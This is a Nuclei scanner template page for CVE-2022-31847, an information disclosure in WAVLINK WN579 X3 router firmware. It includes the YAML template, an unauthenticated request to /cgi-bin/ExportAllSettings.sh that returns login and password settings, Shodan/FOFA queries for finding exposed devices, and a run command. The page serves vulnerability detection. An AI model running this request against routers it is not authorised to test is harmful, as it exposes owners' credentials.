Skip to content
Nuclei Templates

WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure

ID: CVE-2022-31847

Severity: high

Author: arafatansari

Tags: cve,cve2022,wavlink,exposure

Description

Section titled “Description”

WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-31847


info:
  name: WAVLINK WN579 X3 M79X3.V5030.180719 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN579 X3 M79X3.V5030.180719 is susceptible to information disclosure in /cgi-bin/ExportAllSettings.sh. An attacker can obtain sensitive router information via a crafted POST request and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN579%20X3__Sensitive%20information%20leakage.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31847
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31847
    cwe-id: CWE-425
    epss-score: 0.01275
    epss-percentile: 0.85693
    cpe: cpe:2.3:o:wavlink:wn579x3_firmware:m79x3.v5030.180719:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn579x3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2022,wavlink,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"


    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and


      - type: status
        status:
          - 200
# digest: 4b0a004830460221009c84744d34f55f2c7ac97e1550143219c6cdf48df2b6eac232fcbe7e0a4ecaf10221008371977bd22366745b1c030a4a34306e6120eb6d5c665edfa5bcab7161f8efaf:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31847.yaml"

View on Github